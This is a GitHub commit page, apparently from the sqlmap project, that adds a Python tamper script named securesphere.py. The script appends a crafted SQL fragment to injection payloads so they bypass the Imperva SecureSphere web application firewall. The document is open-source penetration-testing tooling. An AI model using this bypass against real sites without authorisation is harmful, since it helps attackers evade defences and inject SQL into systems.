Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit b743301

Browse files
committed
new tamper script by request
1 parent 1e182e6 commit b743301

1 file changed

Lines changed: 39 additions & 0 deletions

File tree

tamper/securesphere.py

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
$Id$
5+
6+
Copyright (c) 2006-2011 sqlmap developers (http://www.sqlmap.org/)
7+
See the file 'doc/COPYING' for copying permission
8+
"""
9+
10+
import re
11+
12+
from lib.core.common import randomRange
13+
from lib.core.data import kb
14+
from lib.core.enums import PRIORITY
15+
16+
__priority__ = PRIORITY.NORMAL
17+
18+
def dependencies():
19+
pass
20+
21+
def tamper(payload):
22+
"""
23+
Appends special crafted string
24+
25+
Example:
26+
* Input: AND 1=1
27+
* Output: AND 1=1 and '0having'='0having'
28+
29+
Notes:
30+
* Useful for bypassing Imperva SecureSphere WAF
31+
* Reference: http://seclists.org/fulldisclosure/2011/May/163
32+
"""
33+
34+
retVal = payload
35+
36+
if payload:
37+
retVal += " and '0having'='0having'"
38+
39+
return retVal

0 commit comments

Comments
 (0)